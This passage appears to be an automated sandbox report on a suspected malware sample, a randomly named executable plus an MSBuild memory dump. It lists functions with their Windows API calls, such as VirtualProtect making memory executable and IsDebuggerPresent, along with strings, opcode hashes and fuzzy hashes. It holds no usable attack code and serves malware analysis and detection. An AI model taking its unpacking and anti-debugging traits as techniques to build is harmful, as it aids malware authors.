std::ios_base::_Ios_base_dtor.LIBCPMT ref: 004157BC

Strings

`XA, xrefs: 004157A9
`@, xrefs: 004157B2

Memory Dump Source

Source File: 00000002.00000002.1449031326.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_MSBuild.jbxd

Similarity

API ID: Ios_base_dtorstd::ios_base::_
String ID: `XA$`@
API String ID: 323602529-3161672447
Opcode ID: 5549d432100d26eadbb37aa115d1dd9050b76466dc8d117bce06f807c6107867
Instruction ID: cf2e72cc3041c7204e05a24073e0ec14b24aee4fba46d8b46a1fe6da308f96c2
Opcode Fuzzy Hash: 5549d432100d26eadbb37aa115d1dd9050b76466dc8d117bce06f807c6107867
Instruction Fuzzy Hash: CAF04FB1D00208EBDB04DFE8D94699EBFB5BB80300F5041A8E400BB355DA31AE50CB95

Function 0054009B Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 27timeCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetSystemTimePreciseAsFileTime.KERNEL32(?,?,0056A50D,000000FF,?,0053FD64,?,?,?,?,0042B77B), ref: 005400D3
GetSystemTimeAsFileTime.KERNEL32(?,2BFA49FB,?,?,0056A50D,000000FF,?,0053FD64,?,?,?,?,0042B77B), ref: 005400D7

Strings

uS, xrefs: 005400CD

Memory Dump Source

Source File: 00000002.00000002.1449031326.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_MSBuild.jbxd

Similarity

API ID: Time$FileSystem$Precise
String ID: uS
API String ID: 743729956-336044122
Opcode ID: 2695fee6a449c3401938edb043aae99d86f37b2fdb2fa7f11e92b389907897f7
Instruction ID: de4ab54f658cddc9c38d3431df4de3107a9968bc7d3f701f869f0e5497b64ae4
Opcode Fuzzy Hash: 2695fee6a449c3401938edb043aae99d86f37b2fdb2fa7f11e92b389907897f7
Instruction Fuzzy Hash: 0FF0E536904654EFCB01CF04DC04F99BBA8FB08B24F10062AEC13F3790D779A9049B90

Function 0055AC6F Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 26COMMON

Download Yara Rule

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32(00000FA0,-00000020,0055C4F5,-00000020,00000FA0,00000000,0050BDF6,00000000,0000000C), ref: 0055ACAF

Strings

InitializeCriticalSectionEx, xrefs: 0055AC7F
uS, xrefs: 0055AC9F

Memory Dump Source

Source File: 00000002.00000002.1449031326.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_MSBuild.jbxd

Similarity

API ID: CountCriticalInitializeSectionSpin
String ID: InitializeCriticalSectionEx$uS
API String ID: 2593887523-3775022884
Opcode ID: 8ecc14de15b3f062c649c4283e6c1ad1845279ea43ebf8b6edd17f07ea0cef32
Instruction ID: 79bf836e81b0caea49663d7db22fc0aae6f3863b6163f39525539326c9f449f6
Opcode Fuzzy Hash: 8ecc14de15b3f062c649c4283e6c1ad1845279ea43ebf8b6edd17f07ea0cef32
Instruction Fuzzy Hash: 7CE09236580218BBCB112F51DC19D9D7F21FB54B62F008131FD1957160C7B28D60E7E1

Function 00415860 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 24COMMON

Download Yara Rule

APIs

std::ios_base::_Ios_base_dtor.LIBCPMT ref: 0041587D

Strings

`XA, xrefs: 0041586A
`@, xrefs: 00415873

Memory Dump Source

Source File: 00000002.00000002.1449031326.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_MSBuild.jbxd

Similarity

API ID: Ios_base_dtorstd::ios_base::_
String ID: `XA$`@
API String ID: 323602529-3161672447
Opcode ID: f6f2aa7a4525972061f5a70069fac671f0bbd72b64d7846ba6e33727e89ef563
Instruction ID: 9ba82dd55013fc1e9fabb96e98323f7155a8c726268295a4ba83d1893430fde2
Opcode Fuzzy Hash: f6f2aa7a4525972061f5a70069fac671f0bbd72b64d7846ba6e33727e89ef563
Instruction Fuzzy Hash: DFE06DF5900208EBCB05DF84D94289EBBF4BB85300F5040A8F9046B310EA32AF20DB95

Function 00415A10 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 21COMMON

Download Yara Rule

APIs

std::ios_base::_Ios_base_dtor.LIBCPMT ref: 00415A43

Strings

`XA, xrefs: 00415A30
`@, xrefs: 00415A39

Memory Dump Source

Source File: 00000002.00000002.1449031326.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_MSBuild.jbxd

Similarity

API ID: Ios_base_dtorstd::ios_base::_
String ID: `XA$`@
API String ID: 323602529-3161672447
Opcode ID: 29b0cecdc3070887fbbebcec569224bd3bd6085f02cb7072b9f7227af8728228
Instruction ID: b48e7b4d98d820730192813625106d3c94456d69d08d87a76f7c5b2401c989b7
Opcode Fuzzy Hash: 29b0cecdc3070887fbbebcec569224bd3bd6085f02cb7072b9f7227af8728228
Instruction Fuzzy Hash: 92E01AB0D01108EBCF04EF98D94159DBFB5EF85309F5001A8D904AB301EB316E60CB95

Analysis Process: 2OJr0kqvYIvMGmMoMnnzAHbc.exePID: 6196, Parent PID: 8132COMMON

Execution Graph

Execution Coverage:	1.6%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	229
Total number of Limit Nodes:	4

Executed Functions

Function 00962094 Relevance: 4.3, APIs: 1, Strings: 1, Instructions: 755
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualProtect.KERNELBASE(009D56E0,000004E4,00000040,?), ref: 00962924

Strings

N, xrefs: 00962899

Memory Dump Source

Source File: 00000008.00000002.1475197950.0000000000961000.00000020.00000001.01000000.00000006.sdmp, Offset: 00960000, based on PE: true

Associated: 00000008.00000002.1475170521.0000000000960000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.1475235442.000000000097E000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.1475285739.0000000000988000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.1475363901.00000000009D5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.1475395169.00000000009D6000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.1475569550.00000000009D8000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_960000_2OJr0kqvYIvMGmMoMnnzAHbc.jbxd

Yara matches

Similarity

API ID: ProtectVirtual
String ID: N
API String ID: 544645111-1130791706
Opcode ID: 31c1fcf2edbce05c4154f914827dd4ba56704f51e7c1ef954f376479f0fc363a
Instruction ID: 54856f0fa3c1327b9f5d882fbcd1c79631f09787a9e28e71b441f55e09fb4044
Opcode Fuzzy Hash: 31c1fcf2edbce05c4154f914827dd4ba56704f51e7c1ef954f376479f0fc363a
Instruction Fuzzy Hash: 8702DE1B634D1B02E30C23398D533E2954ED7EB731F969337AE679B6F4D25E08429284

Function 00975C96 Relevance: 7.7, APIs: 5, Instructions: 202
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__alloca_probe_16.LIBCMT ref: 00975D1D
__alloca_probe_16.LIBCMT ref: 00975DDE
__freea.LIBCMT ref: 00975E45

Part of subcall function 00974D68: HeapAlloc.KERNEL32(00000000,00000000,?,?,00967A85,?,?,?,?,?,0096119C,?,00000001), ref: 00974D9A

__freea.LIBCMT ref: 00975E5A
__freea.LIBCMT ref: 00975E6A

Memory Dump Source

Source File: 00000008.00000002.1475197950.0000000000961000.00000020.00000001.01000000.00000006.sdmp, Offset: 00960000, based on PE: true

Associated: 00000008.00000002.1475170521.0000000000960000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.1475235442.000000000097E000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.1475285739.0000000000988000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.1475363901.00000000009D5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.1475395169.00000000009D6000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.1475569550.00000000009D8000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_960000_2OJr0kqvYIvMGmMoMnnzAHbc.jbxd

Yara matches

Similarity

API ID: __freea$__alloca_probe_16$AllocHeap
String ID:
API String ID: 1096550386-0
Opcode ID: 07ef72bc540f85000bf781bfe8fd7bfcf45ee0f46d007dc968f843c7285db337
Instruction ID: 069c95598984be440e1be974b6e4799d818d0e845bb77e0328b85560a163422d
Opcode Fuzzy Hash: 07ef72bc540f85000bf781bfe8fd7bfcf45ee0f46d007dc968f843c7285db337
Instruction Fuzzy Hash: B951C3B3600A0ABFEB655FA4CC45EBB76ADEF84750B1A8529FD0CD6150EBB4CD108760

Function 00977BF2 Relevance: 3.2, APIs: 2, Instructions: 177
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00977722: GetOEMCP.KERNEL32(00000000,?,?,00000016,?), ref: 0097774D

IsValidCodePage.KERNEL32(-00000030,00000000,?,?,?,?,?,?,?,?,00977A39,?,00000000,?,00000016,?), ref: 00977C53
GetCPInfo.KERNEL32(00000000,?,?,?,?,?,?,?,?,00977A39,?,00000000,?,00000016,?), ref: 00977C95

Memory Dump Source

Source File: 00000008.00000002.1475197950.0000000000961000.00000020.00000001.01000000.00000006.sdmp, Offset: 00960000, based on PE: true

Associated: 00000008.00000002.1475170521.0000000000960000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.1475235442.000000000097E000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.1475285739.0000000000988000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.1475363901.00000000009D5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.1475395169.00000000009D6000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.1475569550.00000000009D8000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_960000_2OJr0kqvYIvMGmMoMnnzAHbc.jbxd

Yara matches

Similarity

API ID: CodeInfoPageValid
String ID:
API String ID: 546120528-0
Opcode ID: 94f8a161aa7c69895f0426fd03d5e4202f45216f06703a4c40afc42cc930b2e3
Instruction ID: 44e5b70aa99de159891ef35d40aca7039e2fd4ded4420ce09acfeb7086da2e06
Opcode Fuzzy Hash: 94f8a161aa7c69895f0426fd03d5e4202f45216f06703a4c40afc42cc930b2e3
Instruction Fuzzy Hash: CF51F472A086459EDB31CFB5C8407BAFBE9FF85300F18C56ED08A87291E7B599458B90

Function 00971FD9 Relevance: 3.0, APIs: 2, Instructions: 34
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LCMapStringEx.KERNELBASE(?,00975D84,?,?,00000000,?,00000000,00000000,00000000,00000000,00000000), ref: 0097200D
LCMapStringW.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,?,00000000,?,?,00975D84,?,?,00000000,?,00000000), ref: 0097202B

Memory Dump Source

Source File: 00000008.00000002.1475197950.0000000000961000.00000020.00000001.01000000.00000006.sdmp, Offset: 00960000, based on PE: true

Associated: 00000008.00000002.1475170521.0000000000960000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.1475235442.000000000097E000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.1475285739.0000000000988000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.1475363901.00000000009D5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.1475395169.00000000009D6000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.1475569550.00000000009D8000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_960000_2OJr0kqvYIvMGmMoMnnzAHbc.jbxd

Yara matches

Similarity

API ID: String
String ID:
API String ID: 2568140703-0
Opcode ID: df19a9266dbe48aed12d3cd461c0026a6fb014d00887e6b6dd5667fa144af45f
Instruction ID: 4884a010c279e20d699b5bc0c0dd65c7e7dad7aafd9bfd00435a3b6b31e06d9c
Opcode Fuzzy Hash: df19a9266dbe48aed12d3cd461c0026a6fb014d00887e6b6dd5667fa144af45f
Instruction Fuzzy Hash: ABF0643751415ABBCF226F90DC05EDE7F2ABB5C7A4B158014FA1825021CA36C8B1EBA0

Function 009777F6 Relevance: 1.6, APIs: 1, Instructions: 147
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCPInfo.KERNEL32(E8458D00,?,00977A45,00977A39,00000000), ref: 00977828

Memory Dump Source

Source File: 00000008.00000002.1475197950.0000000000961000.00000020.00000001.01000000.00000006.sdmp, Offset: 00960000, based on PE: true

Associated: 00000008.00000002.1475170521.0000000000960000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.1475235442.000000000097E000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.1475285739.0000000000988000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.1475363901.00000000009D5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.1475395169.00000000009D6000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.1475569550.00000000009D8000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_960000_2OJr0kqvYIvMGmMoMnnzAHbc.jbxd

Yara matches

Similarity

API ID: Info
String ID:
API String ID: 1807457897-0
Opcode ID: 441517f0cd7bdf70f4bfc1c6337567d84216df47d211300fb0644010a95d0269
Instruction ID: 1de738f7cbcf8abfe4fb9f4028f28d21e9e8dfe01220fcf7c58043aaddc4476d
Opcode Fuzzy Hash: 441517f0cd7bdf70f4bfc1c6337567d84216df47d211300fb0644010a95d0269
Instruction Fuzzy Hash: 27515A7290C2589EDB218F68CC84BFABBBCEB45304F2485E9D59EC7142D234AD46DF60

Non-executed Functions

Function 0097A060 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 85COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(?,2000000B,0097A37E,00000002,00000000,?,?,?,0097A37E,?,00000000), ref: 0097A0F9
GetLocaleInfoW.KERNEL32(?,20001004,0097A37E,00000002,00000000,?,?,?,0097A37E,?,00000000), ref: 0097A122
GetACP.KERNEL32(?,?,0097A37E,?,00000000), ref: 0097A137

Strings

ACP, xrefs: 0097A07E
OCP, xrefs: 0097A0B4

Memory Dump Source

Source File: 00000008.00000002.1475197950.0000000000961000.00000020.00000001.01000000.00000006.sdmp, Offset: 00960000, based on PE: true

Associated: 00000008.00000002.1475170521.0000000000960000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.1475235442.000000000097E000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.1475285739.0000000000988000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.1475363901.00000000009D5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.1475395169.00000000009D6000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.1475569550.00000000009D8000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_960000_2OJr0kqvYIvMGmMoMnnzAHbc.jbxd

Yara matches

Similarity

API ID: InfoLocale
String ID: ACP$OCP
API String ID: 2299586839-711371036
Opcode ID: 636af11b2967d972b19442efc03cf06eac5138a3a200df0831b4cba325fa5663
Instruction ID: cbc1801ed2ec303f4146e38ed74e32484af9001111127353fc27bd246e7a1489
Opcode Fuzzy Hash: 636af11b2967d972b19442efc03cf06eac5138a3a200df0831b4cba325fa5663
Instruction Fuzzy Hash: 9C214433708105AAEB349F14CD05A9F73AAABD5B54F96C864E90ED7114F732DD40D352

Function 0097A235 Relevance: 7.7, APIs: 5, Instructions: 183COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 009716FA: GetLastError.KERNEL32(?,00000000,0096E04F,?,?,?,?,00000003,0096B595,?,0096B504,00000000,00000016,0096B713), ref: 009716FE
Part of subcall function 009716FA: SetLastError.KERNEL32(00000000,00000016,0096B713,?,?,?,?,?,00000000), ref: 009717A0

GetUserDefaultLCID.KERNEL32(?,?,?,00000055,?), ref: 0097A341
IsValidCodePage.KERNEL32(00000000), ref: 0097A38A
IsValidLocale.KERNEL32(?,?), ref: 0097A399
GetLocaleInfoW.KERNEL32(?,00001001,-00000050,00000040,?,000000D0,00000055,00000000,?,?,00000055,00000000), ref: 0097A3E1
GetLocaleInfoW.KERNEL32(?,00001002,00000030,00000040), ref: 0097A400

Memory Dump Source

Source File: 00000008.00000002.1475197950.0000000000961000.00000020.00000001.01000000.00000006.sdmp, Offset: 00960000, based on PE: true

Associated: 00000008.00000002.1475170521.0000000000960000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.1475235442.000000000097E000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.1475285739.0000000000988000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.1475363901.00000000009D5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.1475395169.00000000009D6000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.1475569550.00000000009D8000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_960000_2OJr0kqvYIvMGmMoMnnzAHbc.jbxd

Yara matches

Similarity

API ID: Locale$ErrorInfoLastValid$CodeDefaultPageUser
String ID:
API String ID: 415426439-0
Opcode ID: c7b7519a270f1df482fd8796743d20544225fa2e326dce1416ff2daf538c570b
Instruction ID: f12164ced2c0d87df63a27a3578ec97fc76ecb8bd69a6e1f7fef8e393ea2513e
Opcode Fuzzy Hash: c7b7519a270f1df482fd8796743d20544225fa2e326dce1416ff2daf538c570b
Instruction Fuzzy Hash: 91516D73A04205AFDB10DFA5DC45BBE73BCFF88700F188469E919E7191E77199448B62

Function 009798D1 Relevance: 7.3, APIs: 3, Strings: 1, Instructions: 251COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 009716FA: GetLastError.KERNEL32(?,00000000,0096E04F,?,?,?,?,00000003,0096B595,?,0096B504,00000000,00000016,0096B713), ref: 009716FE
Part of subcall function 009716FA: SetLastError.KERNEL32(00000000,00000016,0096B713,?,?,?,?,?,00000000), ref: 009717A0

GetACP.KERNEL32(?,?,?,?,?,?,0096F766,?,?,?,00000055,?,-00000050,?,?,00000004), ref: 00979992
IsValidCodePage.KERNEL32(00000000,?,?,?,?,?,?,0096F766,?,?,?,00000055,?,-00000050,?,?), ref: 009799BD
GetLocaleInfoW.KERNEL32(00000000,?,?,00000078,-00000050,00000000,000000D0), ref: 00979B20

Strings

utf8, xrefs: 00979A8F

Memory Dump Source

Source File: 00000008.00000002.1475197950.0000000000961000.00000020.00000001.01000000.00000006.sdmp, Offset: 00960000, based on PE: true

Associated: 00000008.00000002.1475170521.0000000000960000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.1475235442.000000000097E000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.1475285739.0000000000988000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.1475363901.00000000009D5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.1475395169.00000000009D6000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.1475569550.00000000009D8000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_960000_2OJr0kqvYIvMGmMoMnnzAHbc.jbxd

Yara matches

Similarity

API ID: ErrorLast$CodeInfoLocalePageValid
String ID: utf8
API String ID: 607553120-905460609
Opcode ID: 48e931c3ad9c68f1d179df09661968e5c15d8b1b6cea94b7451caacb6f67d447
Instruction ID: 571b99ca7bc3c21a1bbd9ec547be93927bcf0964c49041247fdcee3e6c6ba4c1
Opcode Fuzzy Hash: 48e931c3ad9c68f1d179df09661968e5c15d8b1b6cea94b7451caacb6f67d447
Instruction Fuzzy Hash: 1371BA73605202AAEB28AB79CC46BBA73ACEF85750F14C469F90ED7181FA74DD40C761

Function 00967775 Relevance: 6.1, APIs: 4, Instructions: 70COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017,?), ref: 00967781
IsDebuggerPresent.KERNEL32 ref: 0096784D
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 00967866
UnhandledExceptionFilter.KERNEL32(?), ref: 00967870

Memory Dump Source

Source File: 00000008.00000002.1475197950.0000000000961000.00000020.00000001.01000000.00000006.sdmp, Offset: 00960000, based on PE: true

Associated: 00000008.00000002.1475170521.0000000000960000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.1475235442.000000000097E000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.1475285739.0000000000988000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.1475363901.00000000009D5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.1475395169.00000000009D6000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.1475569550.00000000009D8000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_960000_2OJr0kqvYIvMGmMoMnnzAHbc.jbxd

Yara matches

Similarity

API ID: ExceptionFilterPresentUnhandled$DebuggerFeatureProcessor
String ID:
API String ID: 254469556-0
Opcode ID: 3cc703649d5cc973167a61eba597a01a66dafd0ce529769f2f0d150169bd866c
Instruction ID: 556594ee1aa56da36f4623566c5c9e3d01ba1be24e7ecd9af5d74ea69bb07805
Opcode Fuzzy Hash: 3cc703649d5cc973167a61eba597a01a66dafd0ce529769f2f0d150169bd866c
Instruction Fuzzy Hash: F631F775D092189BDF21DFA4D9497CDBBB8AF08304F1041EAE40CAB250EB719A84CF45

Function 0096A3F8 Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 303
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

type_info::operator==.LIBVCRUNTIME ref: 0096A517
___TypeMatch.LIBVCRUNTIME ref: 0096A625
_UnwindNestedFrames.LIBCMT ref: 0096A777
CallUnexpected.LIBVCRUNTIME ref: 0096A792

Strings

csm, xrefs: 0096A54E
csm, xrefs: 0096A435
csm, xrefs: 0096A4A2

Memory Dump Source

Source File: 00000008.00000002.1475197950.0000000000961000.00000020.00000001.01000000.00000006.sdmp, Offset: 00960000, based on PE: true

Associated: 00000008.00000002.1475170521.0000000000960000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.1475235442.000000000097E000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.1475285739.0000000000988000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.1475363901.00000000009D5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.1475395169.00000000009D6000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.1475569550.00000000009D8000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_960000_2OJr0kqvYIvMGmMoMnnzAHbc.jbxd

Yara matches

Similarity

API ID: CallFramesMatchNestedTypeUnexpectedUnwindtype_info::operator==
String ID: csm$csm$csm
API String ID: 2751267872-393685449
Opcode ID: b50c314d89f36134d594a6aeb0039f455ce134022f180eac2e79f574b4aa6205
Instruction ID: 2bd24db6cce0a49e7d895b08168f7b3151bc610e853843f698373fe2919dfb25
Opcode Fuzzy Hash: b50c314d89f36134d594a6aeb0039f455ce134022f180eac2e79f574b4aa6205
Instruction Fuzzy Hash: 58B13671C00209EFCF29DFA4C881AAEBBB9BF54310B15855AE8157B212D735EE51CF92

Function 009745E3 Relevance: 12.5, APIs: 6, Strings: 1, Instructions: 298
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

, xrefs: 0097485C

Memory Dump Source

Source File: 00000008.00000002.1475197950.0000000000961000.00000020.00000001.01000000.00000006.sdmp, Offset: 00960000, based on PE: true

Associated: 00000008.00000002.1475170521.0000000000960000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.1475235442.000000000097E000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.1475285739.0000000000988000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.1475363901.00000000009D5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.1475395169.00000000009D6000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.1475569550.00000000009D8000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_960000_2OJr0kqvYIvMGmMoMnnzAHbc.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID: 0-3907804496
Opcode ID: 194144609a1d539a8c08df3ba1cb99367a14aab5e28a9cb0fd2270943536b830
Instruction ID: 6c2eb7a3d3226fc1c8181ee7c2ad5a604c596e8da7a1b273cee5abd5b3b4f06a
Opcode Fuzzy Hash: 194144609a1d539a8c08df3ba1cb99367a14aab5e28a9cb0fd2270943536b830
Instruction Fuzzy Hash: 0EB10572E04249AFDB11DF99C880BAE7BF9AF85300F14C159E5199B293D7709D82CF62

Function 00966A8C Relevance: 12.2, APIs: 8, Instructions: 175
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

MultiByteToWideChar.KERNEL32(00000000,00000000,?,?,00000000,00000000,?,?,?,?), ref: 00966AD5
__alloca_probe_16.LIBCMT ref: 00966B01
MultiByteToWideChar.KERNEL32(?,?,00000000,?,00000000,00000000), ref: 00966B40
LCMapStringEx.KERNEL32(?,?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00966B5D
LCMapStringEx.KERNEL32(?,?,00000000,00000000,00000000,?,00000000,00000000,00000000), ref: 00966B9C
__alloca_probe_16.LIBCMT ref: 00966BB9
LCMapStringEx.KERNEL32(?,?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00966BFB
WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,?,?,00000000,00000000), ref: 00966C1E

Memory Dump Source

Source File: 00000008.00000002.1475197950.0000000000961000.00000020.00000001.01000000.00000006.sdmp, Offset: 00960000, based on PE: true

Associated: 00000008.00000002.1475170521.0000000000960000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.1475235442.000000000097E000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.1475285739.0000000000988000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.1475363901.00000000009D5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.1475395169.00000000009D6000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.1475569550.00000000009D8000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_960000_2OJr0kqvYIvMGmMoMnnzAHbc.jbxd

Yara matches

Similarity

API ID: ByteCharMultiStringWide$__alloca_probe_16
String ID:
API String ID: 2040435927-0
Opcode ID: c936e18b4f08cea47b34fbe8c65c12e24572237cc77a5fd35176dbb3e0316545
Instruction ID: 07dccf60668018ee00203585cbeb98010b4a2d2ffca86f4fe17c28942fdc5007
Opcode Fuzzy Hash: c936e18b4f08cea47b34fbe8c65c12e24572237cc77a5fd35176dbb3e0316545
Instruction Fuzzy Hash: 8E51C072A0461AAFEF209FA0CC45FAB7BADEF84754F104429FA44E6150D779DC50DBA0

Function 00971BBB Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 74
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FreeLibrary.KERNEL32(00000000,?,00971CC8,?,?,00000000,00000000,?,?,00971E76,00000021,FlsSetValue,009813A8,009813B0,00000000), ref: 00971C7C

Strings

ext-ms-, xrefs: 00971C26
api-ms-, xrefs: 00971C12

Memory Dump Source

Source File: 00000008.00000002.1475197950.0000000000961000.00000020.00000001.01000000.00000006.sdmp, Offset: 00960000, based on PE: true

Associated: 00000008.00000002.1475170521.0000000000960000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.1475235442.000000000097E000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.1475285739.0000000000988000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.1475363901.00000000009D5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.1475395169.00000000009D6000.00000004.00000001.01000000.00000006.sdmpDownload File
